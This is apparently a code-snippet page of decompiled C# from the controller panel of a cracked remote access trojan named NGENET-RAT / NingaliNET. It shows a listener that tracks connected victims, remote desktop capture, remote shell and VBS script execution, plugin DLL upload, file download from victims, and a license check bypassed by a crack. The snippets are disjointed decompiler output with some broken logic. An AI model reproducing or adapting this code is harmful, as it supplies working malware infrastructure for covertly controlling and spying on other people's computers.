// Token: 0x06000338 RID: 824 RVA: 0x00020674 File Offset: 0x0001E874
        private void PictureBox1_Paint(object sender, PaintEventArgs e)
        {
            string text = Conversions.ToString(this.int_0) + " FPS\r\n" + Fungsi.Siz((long)this.pkt);
            Size   size = TextRenderer.MeasureText(text, new Font(this.Font, FontStyle.Bold));

            if (!(this.point_2.X < size.Width & this.point_2.Y < size.Height))
            {
                Rectangle rect = new Rectangle(0, 0, size.Width, size.Height);
                e.Graphics.FillRectangle(new Pen(Color.FromArgb(100, 1, 1, 1)).Brush, rect);
                Brush brush = Brushes.Red;
                try
                {
                    if (this.int_0 > 3)
                    {
                        brush = Brushes.YellowGreen;
                    }
                    if (this.int_0 > 6)
                    {
                        brush = Brushes.LimeGreen;
                    }
                }
                catch (Exception expr_C7)
                {
                    ProjectData.SetProjectError(expr_C7);
                    ProjectData.ClearProjectError();
                }
                e.Graphics.DrawString(text, new Font(this.Font, FontStyle.Bold), brush, 0f, 0f);
            }
        }
示例#2
0
 // Token: 0x060002C2 RID: 706 RVA: 0x0001CC84 File Offset: 0x0001AE84
 private void Form2_Load(object sender, EventArgs e)
 {
     if (Operators.CompareString(MyProject.Forms.Form1.Edition, "TurkHacker346 NGENET-RAT Cracked", false) == 0)
     {
         this.Button1.Text             = "NoRegister";
         MyProject.Forms.Form1.Edition = "TurkHacker346 NGENET-RAT Cracked";
         this.TextBox1.Text            = Fungsi.GTV("USER", this.TextBox1.Text);
         this.TextBox2.Text            = Fungsi.GTV("PASSWORD", this.TextBox2.Text);
         this.TextBox2.PasswordChar    = '*';
         this.TextBox1.Enabled         = false;
         this.TextBox2.Enabled         = false;
     }
     else if (Operators.CompareString(MyProject.Forms.Form1.Edition, "TurkHacker346 NGENET-RAT Cracked", false) == 0)
     {
         this.Button1.Text             = "Unregister";
         MyProject.Forms.Form1.Edition = "TurkHacker346 NGENET-RAT Cracked";
         this.TextBox1.Text            = Fungsi.GTV("USER", this.TextBox1.Text);
         this.TextBox2.Text            = Fungsi.GTV("PASSWORD", this.TextBox2.Text);
         this.TextBox2.PasswordChar    = '*';
         this.TextBox1.Enabled         = false;
         this.TextBox2.Enabled         = false;
     }
     else
     {
         this.TextBox1.Text         = Fungsi.GTV("USER", this.TextBox1.Text);
         this.TextBox2.Text         = Fungsi.GTV("PASSWORD", this.TextBox2.Text);
         this.TextBox2.PasswordChar = '\0';
         this.TextBox1.Enabled      = true;
         this.TextBox2.Enabled      = true;
         this.Button1.Text          = "NoRegister";
     }
 }
        // Token: 0x060006F9 RID: 1785 RVA: 0x00039284 File Offset: 0x00037484
        private void Button1_Click(object sender, EventArgs e)
        {
            string text = Interaction.InputBox("Run As :", "", "vbs", -1, -1);

            if (text.Length > 0)
            {
                this.RunAs = text;
                this.Code  = this.TextBox1.Text;
                if (this.Code.Length > 0)
                {
                    Client   arg_9D_0 = this.sk;
                    string[] array    = new string[5];
                    array[0] = "rn";
                    array[1] = ima.Y;
                    array[2] = this.RunAs;
                    array[3] = ima.Y;
                    string[] arg_96_0 = array;
                    int      arg_96_1 = 4;
                    byte[]   arg_8C_0 = Fungsi.SB(ref this.Code);
                    bool     flag     = true;
                    arg_96_0[arg_96_1] = Convert.ToBase64String(Fungsi.ZIP(arg_8C_0, ref flag));
                    arg_9D_0.Send(string.Concat(array));
                }
                this.Close();
            }
        }
示例#4
0
 // Token: 0x0600034D RID: 845 RVA: 0x00021108 File Offset: 0x0001F308
 private void T2_KeyDown(object sender, KeyEventArgs e)
 {
     if (e.KeyCode == Keys.Return)
     {
         e.SuppressKeyPress = true;
         if (Operators.CompareString(this.T2.Text, "", false) == 0)
         {
             return;
         }
         lock (this)
         {
             this.T1.SelectionStart = this.T1.TextLength;
             this.T1.SelectionFont  = new Font(this.T1.Font, FontStyle.Bold);
             this.T1.SelectionColor = Color.RoyalBlue;
             this.T1.AppendText(Fungsi.HM() + " " + this.hk + " : ");
             this.T1.SelectionFont  = this.T1.Font;
             this.T1.SelectionStart = this.T1.TextLength;
             this.T1.SelectionColor = Color.WhiteSmoke;
             this.T1.AppendText(this.T2.Text + "\r\n");
             this.T1.ScrollToCaret();
             TextBox t    = this.T2;
             string  text = t.Text;
             t.Text = text;
             this.sk.Send("!" + ima.Y + Fungsi.ENB(ref text));
             this.T2.Text = "";
             return;
         }
     }
     this.T2.Select();
 }
 // Token: 0x0600099A RID: 2458 RVA: 0x00053964 File Offset: 0x00051B64
 public void pnd()
 {
     while (true)
     {
         try
         {
             Client client = new Client(this.S.AcceptTcpClient());
             client.Client.ReceiveTimeout = -1;
             client.Client.SendTimeout    = -1;
             Collection online = this.Online2;
             Collection obj    = online;
             lock (obj)
             {
                 online.Add(client, client.ip(), null, null);
             }
             if (ima.F.SLGS3.Checked)
             {
                 ima.F.Pp1.WRT(new object[]
                 {
                     Color.WhiteSmoke,
                     Fungsi.HM(),
                     Resources._244,
                     client.ip(),
                     Color.YellowGreen,
                     "Connected"
                 });
             }
         }
         catch (Exception expr_BB)
         {
             ProjectData.SetProjectError(expr_BB);
             ProjectData.ClearProjectError();
         }
     }
 }
        // Token: 0x0600096C RID: 2412 RVA: 0x000517AC File Offset: 0x0004F9AC
        public plg(string fnn)
        {
            Class2.zP7eVJHzSiX6G();
            base..ctor();
            bool flag = true;

            this.B    = Convert.ToBase64String(Fungsi.ZIP(File.ReadAllBytes(Application.StartupPath + "\\Bin\\" + fnn), ref flag));
            this.Name = fnn;
            this.Hash = Fungsi.smethod_0(this.B);
        }
示例#7
0
 // Token: 0x060002C1 RID: 705 RVA: 0x0001CB94 File Offset: 0x0001AD94
 private void Button1_Click(object sender, EventArgs e)
 {
     this.Button1.Text = "3iezW0rld - TurkHacker346 NGENET-RAT";
     MyProject.Forms.Form1.Label13.Text = "3iezW0rld - TurkHacker346 NGENET-RAT Cracked";
     MyProject.Forms.Form1.Edition      = "3iezW0rld - TurkHacker346 NGENET-RAT Cracked";
     Fungsi.STV("USER", this.TextBox1.Text);
     Fungsi.STV("PASSWORD", this.TextBox2.Text);
     MyProject.Forms.Form1.ULT = true;
     MessageBox.Show("Rat Beleştir registiration'a falan gerek yok beyler Cracked by 3iezW0rld - TurkHacker", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
     MyProject.Forms.Form1.sl.Text      = "Your use NingaliNET - Ultimate Edition ";
     MyProject.Forms.Form1.Label15.Text = "Cracked by " + Fungsi.GTV("USER", this.TextBox1.Text);
     this.Close();
 }
示例#8
0
 // Token: 0x06000060 RID: 96 RVA: 0x00006E30 File Offset: 0x00005030
 public FDesktop()
 {
     Class2.zP7eVJHzSiX6G();
     base..ctor();
     base.FormClosing += new FormClosingEventHandler(this.FDesktop_FormClosing);
     base.KeyUp       += new KeyEventHandler(this.FDesktop_KeyUp);
     base.Load        += new EventHandler(this.Cap_Load);
     FDesktop.__ENCAddToList(this);
     this.K    = 0;
     this.siz1 = 0;
     this.op   = new Point(1, 1);
     this.siz2 = Fungsi.Siz(0L);
     this.InitializeComponent();
 }
示例#9
0
        // Token: 0x06000094 RID: 148 RVA: 0x000084D8 File Offset: 0x000066D8
        private void Cap_Load(object sender, EventArgs e)
        {
            this.Text    = Conversions.ToString(Operators.AddObject("Remote Desktop - ", ima.vno(this.osk.L)));
            this.point_2 = new Point(30, 30);
            PictureBox p   = this.P1;
            PictureBox obj = p;

            lock (obj)
            {
                Control p2 = this.P1;
                p2.KeyUp   += new KeyEventHandler(this.KUP);
                p2.KeyDown += new KeyEventHandler(this.KDW);
            }
            int num = 0;

            checked
            {
                do
                {
                    this.C1.Items.Add(this.QZ(num));
                    num++;
                }while (num <= 13);
                int num2 = 1;
                do
                {
                    this.C2.Items.Add(num2);
                    num2++;
                }while (num2 <= 10);
                this.folder = Operators.ConcatenateObject(Operators.ConcatenateObject(this.osk.Folder, ima.vno(this.osk.L)), "\\Desktop\\");
                if (!Directory.Exists(Conversions.ToString(this.folder)))
                {
                    Directory.CreateDirectory(Conversions.ToString(this.folder));
                }
                this.P1.Image          = new Bitmap(this.Sz.Width, this.Sz.Height);
                this.CheckBox1.Checked = Conversions.ToBoolean(Fungsi.GTV("Ds1", Conversions.ToString(this.CheckBox1.Checked)));
                this.CheckBox2.Checked = Conversions.ToBoolean(Fungsi.GTV("Ds2", Conversions.ToString(this.CheckBox2.Checked)));
                this.CheckBox3.Checked = Conversions.ToBoolean(Fungsi.GTV("Ds3", Conversions.ToString(this.CheckBox3.Checked)));
                this.C.Value           = Conversions.ToDecimal(Fungsi.GTV("Ds5", Conversions.ToString(this.C.Value)));
                this.C1.SelectedIndex  = Conversions.ToInteger(Fungsi.GTV("Ds6", Conversions.ToString(4)));
                this.C2.SelectedIndex  = Conversions.ToInteger(Fungsi.GTV("Ds7", Conversions.ToString(4)));
                if (ima.F.SAUT2.Checked)
                {
                    this.Button1.PerformClick();
                    this.Panel1.Visible   = false;
                    this.TextBox1.Visible = true;
                    this.Timer2.Start();
                }
            }
        }
 // Token: 0x0600039D RID: 925 RVA: 0x00022DCC File Offset: 0x00020FCC
 private void DW_FormClosing(object sender, FormClosingEventArgs e)
 {
     Fungsi.STV("dlck", Conversions.ToString(this.CheckBox1.Checked));
     this.c.Send("close" + ima.Y + this.FNn);
     this.FS.Close();
     this.FS.Dispose();
     try
     {
         File.Delete(Application.StartupPath + "\\" + Conversions.ToString(this.GetHashCode()));
     }
     catch (Exception expr_72)
     {
         ProjectData.SetProjectError(expr_72);
         ProjectData.ClearProjectError();
     }
 }
        // Token: 0x0600092F RID: 2351 RVA: 0x0004849C File Offset: 0x0004669C
        public static Array fx(byte[] b, string WRD)
        {
            List <byte[]> list          = new List <byte[]>();
            MemoryStream  memoryStream  = new MemoryStream();
            MemoryStream  memoryStream2 = new MemoryStream();

            string[] array = Strings.Split(Fungsi.BS(ref b), WRD, -1, CompareMethod.Binary);
            memoryStream.Write(b, 0, array[0].Length);
            checked
            {
                memoryStream2.Write(b, array[0].Length + WRD.Length, b.Length - (array[0].Length + WRD.Length));
                list.Add(memoryStream.ToArray());
                list.Add(memoryStream2.ToArray());
                memoryStream.Dispose();
                memoryStream2.Dispose();
                return(list.ToArray());
            }
        }
示例#12
0
 // Token: 0x060007DE RID: 2014 RVA: 0x0003E930 File Offset: 0x0003CB30
 public bool Send(byte[] b)
 {
     checked
     {
         bool result;
         if (!this.CN)
         {
             result = false;
         }
         else
         {
             bool flag;
             try
             {
                 Socket client = this.Client.Client;
                 Socket obj    = client;
                 lock (obj)
                 {
                     MemoryStream memoryStream = new MemoryStream();
                     memoryStream.Write(b, 0, b.Length);
                     memoryStream.Write(Fungsi.SB(ref this.SPL), 0, this.SPL.Length);
                     this.Client.Client.Send(memoryStream.ToArray(), 0, (int)memoryStream.Length, SocketFlags.None);
                     ima.SNT   = (int)memoryStream.Length;
                     ima.SNT2 += (int)memoryStream.Length;
                     memoryStream.Dispose();
                 }
                 flag = true;
             }
             catch (Exception expr_A7)
             {
                 ProjectData.SetProjectError(expr_A7);
                 Exception projectError = expr_A7;
                 ProjectData.SetProjectError(projectError);
                 this.CN = false;
                 flag    = false;
                 ProjectData.ClearProjectError();
                 ProjectData.ClearProjectError();
             }
             result = flag;
         }
         return(result);
     }
 }
示例#13
0
        // Token: 0x0600034B RID: 843 RVA: 0x00021008 File Offset: 0x0001F208
        private void chat_Load(object sender, EventArgs e)
        {
            this.Text = "Chating With - " + Conversions.ToString(RuntimeHelpers.GetObjectValue(ima.vno(this.osk.L)));
            this.Show();
            string left = Interaction.InputBox("Enter Your Name", "Chat", this.hk, -1, -1);

            if (Operators.CompareString(left, "", false) == 0)
            {
                this.sk.CN = false;
            }
            else
            {
                this.hk = left;
                this.sk.Send("~" + ima.Y + Fungsi.ENB(ref this.hk));
            }
            this.Timer1.Enabled = true;
            this.T2.Select();
            this.T2.Focus();
        }
        // Token: 0x06000937 RID: 2359 RVA: 0x00048850 File Offset: 0x00046A50
        public static bool REGKEY()
        {
            string text    = Fungsi.smethod_0(ima.F.USER + "a98ad");
            string str     = Fungsi.ENB(ref text);
            string codeKey = Fungsi.smethod_0(str + "|523|");
            bool   flag;

            if (Operators.CompareString(ima.F.PASSWORD, Fungsi.XORR(codeKey, "0931"), false) == 0)
            {
                flag = flag;
            }
            else if (Operators.CompareString(ima.F.PASSWORD, Fungsi.XORR(codeKey, "0934"), false) == 0)
            {
                flag = flag;
            }
            else
            {
                flag = !flag;
            }
            return(flag);
        }
 // Token: 0x0600039E RID: 926 RVA: 0x00022E6C File Offset: 0x0002106C
 private void DW_Load(object sender, EventArgs e)
 {
     this.CheckBox1.Checked = Conversions.ToBoolean(Fungsi.GTV("dlck", Conversions.ToString(this.CheckBox1.Checked)));
     if (!Directory.Exists(Application.StartupPath + "\\Downloads\\"))
     {
         Directory.CreateDirectory(Application.StartupPath + "\\Downloads\\");
     }
     checked
     {
         this.Left       = 0 - this.Width + Screen.PrimaryScreen.WorkingArea.Width;
         this.Top        = 0 - this.Height + Screen.PrimaryScreen.WorkingArea.Height;
         this.Text       = Fungsi.DEB(ref this.FNn);
         this.Name       = this.c.ip() + this.FNn;
         this.Lname.Text = new FileInfo(Fungsi.DEB(ref this.FNn)).Name;
     }
     this.Ldata.Text     = FrmDwonload.Siz((long)this.Progressbar1.Value) + "/" + FrmDwonload.Siz((long)this.SZ);
     this.Lspeed.Text    = FrmDwonload.Siz((long)(checked (this.Progressbar1.Value - this.os)));
     this.FS             = new FileStream(Application.StartupPath + "\\" + Conversions.ToString(this.GetHashCode()), FileMode.Append);
     this.os             = this.Progressbar1.Value;
     this.Timer1.Enabled = true;
 }
示例#16
0
        // Token: 0x06000732 RID: 1842 RVA: 0x0003A48C File Offset: 0x0003868C
        private void T2_KeyDown(object sender, KeyEventArgs e)
        {
            Keys keyCode = e.KeyCode;

            checked
            {
                if (keyCode == Keys.Return)
                {
                    string text = this.T2.Text;
                    this.T2.Text       = "";
                    e.SuppressKeyPress = true;
                    this.A[this.it]    = text;
                    this.it++;
                    if (this.it > this.A.Length - 1)
                    {
                        this.it = 0;
                    }
                    this.sk.Send("rs" + ima.Y + Fungsi.ENB(ref text));
                }
                else if (keyCode == Keys.Down)
                {
                    this.idx += -1;
                    if (this.idx < 0)
                    {
                        this.idx = 0;
                    }
                    this.T2.Text = this.A[this.idx];
                }
                else if (keyCode == Keys.Up)
                {
                    this.idx++;
                    if (this.idx > this.A.Length - 1)
                    {
                        this.idx = this.A.Length - 1;
                    }
                    this.T2.Text = this.A[this.idx];
                }
            }
        }
示例#17
0
        // Token: 0x060005A1 RID: 1441 RVA: 0x00030E38 File Offset: 0x0002F038
        private void UploadUpdatePluginFromDiskToolStripMenuItem_Click(object sender, EventArgs e)
        {
            OpenFileDialog openFileDialog = new OpenFileDialog();

            openFileDialog.Filter   = "DLL|*.dll";
            openFileDialog.FileName = "";
            if (openFileDialog.ShowDialog() == DialogResult.OK)
            {
                Client   arg_81_0 = this.sk;
                string[] array    = new string[5];
                array[0] = "plg";
                array[1] = ima.Y;
                array[2] = new FileInfo(openFileDialog.FileName).Name;
                array[3] = ima.Y;
                string[] arg_7A_0 = array;
                int      arg_7A_1 = 4;
                byte[]   arg_70_0 = File.ReadAllBytes(openFileDialog.FileName);
                bool     flag     = true;
                arg_7A_0[arg_7A_1] = Convert.ToBase64String(Fungsi.ZIP(arg_70_0, ref flag));
                arg_81_0.Send(string.Concat(array));
                this.Close();
            }
        }
        // Token: 0x0600099C RID: 2460 RVA: 0x00053E68 File Offset: 0x00052068
        private void WL()
        {
            int num = 0;

            checked
            {
                int num2 = this.IT.Length - 1;
                for (int i = 0; i <= num2; i++)
                {
                    new Thread(new ParameterizedThreadStart(this._Lambda__2), 0)
                    {
                        Priority = ThreadPriority.Lowest
                    }.Start(i);
                }
                Thread thread = new Thread(new ThreadStart(this.pnd));
                thread.Start();
                while (true)
                {
                    Collection online = this.Online2;
                    Collection obj    = online;
                    lock (obj)
                    {
                        List <Client> disconnect = this.Disconnect2;
                        List <Client> obj2       = disconnect;
                        lock (obj2)
                        {
                            int num3 = 0;
                            do
                            {
                                try
                                {
                                    if (disconnect.Count > 0)
                                    {
                                        Client client = disconnect[0];
                                        disconnect.RemoveAt(0);
                                        try
                                        {
                                            client.Client.Client.Disconnect(false);
                                        }
                                        catch (Exception expr_BF)
                                        {
                                            ProjectData.SetProjectError(expr_BF);
                                            Exception projectError = expr_BF;
                                            ProjectData.SetProjectError(projectError);
                                            ProjectData.ClearProjectError();
                                            ProjectData.ClearProjectError();
                                        }
                                        try
                                        {
                                            client.Client.Close();
                                        }
                                        catch (Exception expr_E9)
                                        {
                                            ProjectData.SetProjectError(expr_E9);
                                            Exception projectError2 = expr_E9;
                                            ProjectData.SetProjectError(projectError2);
                                            ProjectData.ClearProjectError();
                                            ProjectData.ClearProjectError();
                                        }
                                        this.Online2.Remove(client.ip().ToString());
                                        thread = new Thread(new ParameterizedThreadStart(ima.Req), 1);
                                        object[] array = new object[2];
                                        array[0] = client;
                                        string text = "!";
                                        array[1] = Fungsi.SB(ref text);
                                        thread.Start(array);
                                    }
                                }
                                catch (Exception expr_15A)
                                {
                                    ProjectData.SetProjectError(expr_15A);
                                    Exception projectError3 = expr_15A;
                                    ProjectData.SetProjectError(projectError3);
                                    ProjectData.ClearProjectError();
                                    ProjectData.ClearProjectError();
                                }
                                num3++;
                            }while (num3 <= 0);
                            int num4 = this.IT.Length - 1;
                            for (int j = 0; j <= num4; j++)
                            {
                                if (this.IT[j] == null)
                                {
                                    if (this.Online2.Count <= 0)
                                    {
                                        break;
                                    }
                                    num++;
                                    if (num > this.Online2.Count)
                                    {
                                        num = 1;
                                    }
                                    Client client = (Client)this.Online2[num];
                                    if (!client.Buzy)
                                    {
                                        client.Buzy = true;
                                        this.IT[j]  = client;
                                    }
                                }
                            }
                        }
                    }
                    Thread.Sleep(1);
                }
            }
        }
 // Token: 0x06000930 RID: 2352 RVA: 0x00048534 File Offset: 0x00046734
 public static string smethod_0(string s)
 {
     return(Fungsi.smethod_1(Fungsi.SB(ref s)));
 }
示例#20
0
        // Token: 0x06000095 RID: 149 RVA: 0x00008760 File Offset: 0x00006960
        public void PktToImage(byte[] BY)
        {
            if (Operators.CompareString(this.Button1.Text, "Stop", false) == 0)
            {
                this.sk.Send(string.Concat(new string[]
                {
                    "@",
                    ima.Y,
                    Conversions.ToString(this.C1.SelectedIndex),
                    ima.Y,
                    this.C2.Text,
                    ima.Y,
                    Conversions.ToString(this.C.Value)
                }));
            }
            Point right;

            if (!(this.op == right) && Operators.CompareString(this.Button1.Text, "Stop", false) == 0)
            {
                Point point = new Point(0, 0);
                point.X = this.op.X;
                point.Y = this.op.Y;
                this.op = default(Point);
                this.sk.Send(string.Concat(new string[]
                {
                    "$",
                    ima.Y,
                    Conversions.ToString(point.X),
                    ima.Y,
                    Conversions.ToString(point.Y),
                    ima.Y
                }));
            }
            Array        instance = Fungsi.fx(BY, "njq8");
            MemoryStream stream   = new MemoryStream((byte[])NewLateBinding.LateIndexGet(instance, new object[]
            {
                1
            }, null));
            Bitmap bitmap = (Bitmap)Image.FromStream(stream);

            byte[] array = (byte[])NewLateBinding.LateIndexGet(instance, new object[]
            {
                0
            }, null);
            string arg_1DB_0 = Fungsi.BS(ref array);

            NewLateBinding.LateIndexSetComplex(instance, new object[]
            {
                0,
                array
            }, null, true, false);
            string[] array2 = Strings.Split(arg_1DB_0, ",", -1, CompareMethod.Binary);
            checked
            {
                this.siz2 = Fungsi.Siz((long)BY.Length);
                this.siz1 = array2.Length - 2;
                IntPtr   callbackData;
                Bitmap   bitmap2   = (Bitmap)this.P1.Image.GetThumbnailImage(Conversions.ToInteger(Strings.Split(array2[0], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[0], ".", -1, CompareMethod.Binary)[1]), null, callbackData);
                Graphics graphics  = Graphics.FromImage(bitmap2);
                int      num       = 0;
                int      arg_25E_0 = 1;
                int      num2      = array2.Length - 2;
                int      num3      = arg_25E_0;
                while (true)
                {
                    int arg_3B5_0 = num3;
                    int num4      = num2;
                    if (arg_3B5_0 > num4)
                    {
                        break;
                    }
                    Point     point2    = new Point(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]));
                    Size      size      = new Size(bitmap.Width, Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[2]));
                    Graphics  arg_336_0 = graphics;
                    Bitmap    arg_2F8_0 = bitmap;
                    Rectangle rect      = new Rectangle(0, num, bitmap.Width, Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[2]));
                    Image     arg_336_1 = arg_2F8_0.Clone(rect, bitmap.PixelFormat);
                    Point     point3    = new Point(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]));
                    arg_336_0.DrawImage(arg_336_1, point3);
                    if (this.CheckBox1.Checked)
                    {
                        Rectangle rect2 = new Rectangle(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]), size.Width, size.Height);
                        graphics.DrawRectangle(Pens.Red, rect2);
                    }
                    num += size.Height;
                    num3++;
                }
                graphics.Dispose();
                this.P1.Image = bitmap2;
                if (this.CheckBox4.Checked)
                {
                    try
                    {
                        bitmap2.Save(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(this.folder, Fungsi.DT()), ".jpg")));
                    }
                    catch (Exception expr_404)
                    {
                        ProjectData.SetProjectError(expr_404);
                        ProjectData.ClearProjectError();
                    }
                }
            }
        }
示例#21
0
 // Token: 0x060007DF RID: 2015 RVA: 0x000047E4 File Offset: 0x000029E4
 public bool Send(string S)
 {
     return(this.Send(Fungsi.SB(ref S)));
 }
        // Token: 0x0600099B RID: 2459 RVA: 0x00053A5C File Offset: 0x00051C5C
        private void READ(int id)
        {
            checked
            {
                while (true)
                {
                    if (this.IT[id] == null)
                    {
                        Thread.Sleep(1);
                    }
                    else
                    {
                        Client client = this.IT[id];
                        if (!this.OFF && client.CN)
                        {
                            try
                            {
                                if (!client.Client.Connected)
                                {
                                    goto IL_396;
                                }
                                if (!client.IsPNGED)
                                {
                                    if (client.Ping > 1200)
                                    {
                                        client.IsPNGED = true;
                                        client.Ping    = 0;
                                        if (!client.Send("P"))
                                        {
                                            goto IL_396;
                                        }
                                    }
                                }
                                else if (client.Ping > 3000)
                                {
                                    goto IL_396;
                                }
                                if (client.Client.Available > 0)
                                {
                                    byte[] array = new byte[client.Client.Available - 1 + 1 - 1 + 1];
                                    client.Client.Client.Receive(array, 0, array.Length, SocketFlags.None);
                                    ima.RC   = array.Length;
                                    ima.RC2 += array.Length;
                                    client.M.Write(array, 0, array.Length);
                                    while (true)
                                    {
                                        byte[] array2 = client.M.ToArray();
                                        if (!Fungsi.BS(ref array2).Contains(this.SPL))
                                        {
                                            goto IL_2D3;
                                        }
                                        Array  array3 = this.fx(client.M.ToArray());
                                        byte[] array4 = (byte[])NewLateBinding.LateIndexGet(array3, new object[]
                                        {
                                            0
                                        }, null);
                                        NewLateBinding.LateIndexSetComplex(array3, new object[]
                                        {
                                            0,
                                            array4
                                        }, null, true, false);
                                        if (Operators.CompareString(Fungsi.BS(ref array4), "P", false) == 0)
                                        {
                                            if (client.L == null)
                                            {
                                                break;
                                            }
                                            object[] array5 = new object[2];
                                            array5[0] = client;
                                            object[] arg_1C1_0 = array5;
                                            int      arg_1C1_1 = 1;
                                            string   text      = "P" + ima.Y + Conversions.ToString(client.Ping);
                                            arg_1C1_0[arg_1C1_1] = Fungsi.SB(ref text);
                                            ima.Req(array5);
                                            client.IsPNGED = false;
                                            client.Ping    = 0;
                                        }
                                        else
                                        {
                                            ima.Req(new object[]
                                            {
                                                client,
                                                RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(array3, new object[]
                                                {
                                                    0
                                                }, null))))
                                            });
                                        }
                                        client.M.Dispose();
                                        client.M = new MemoryStream();
                                        if (array3.Length != 2)
                                        {
                                            goto IL_2D3;
                                        }
                                        client.M.Write((byte[])NewLateBinding.LateIndexGet(array3, new object[]
                                        {
                                            1
                                        }, null), 0, Conversions.ToInteger(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(array3, new object[]
                                        {
                                            1
                                        }, null)), null, "length", new object[0], null, null, null))));
                                    }
                                    goto IL_396;
                                    IL_2D3 :;
                                }
                            }
                            catch (Exception expr_2D5)
                            {
                                ProjectData.SetProjectError(expr_2D5);
                                Exception projectError = expr_2D5;
                                ProjectData.SetProjectError(projectError);
                                ProjectData.ClearProjectError();
                                ProjectData.ClearProjectError();
                                goto IL_396;
                            }
                            client.Buzy = false;
                            this.IT[id] = null;
                            continue;
                        }
IL_396:
                        client.T.Enabled = false;
                        client.T.Dispose();
                        client.CN = false;
                        List <Client> disconnect = this.Disconnect2;
                        List <Client> obj        = disconnect;
                        lock (obj)
                        {
                            disconnect.Add(client);
                        }
                        this.IT[id] = null;
                        if (ima.F.SLGS3.Checked)
                        {
                            ima.F.Pp1.WRT(new object[]
                            {
                                Color.WhiteSmoke,
                                Fungsi.HM(),
                                Resources._245,
                                client.ip(),
                                Color.Red,
                                "Disconnected "
                            });
                        }
                    }
                }
            }
        }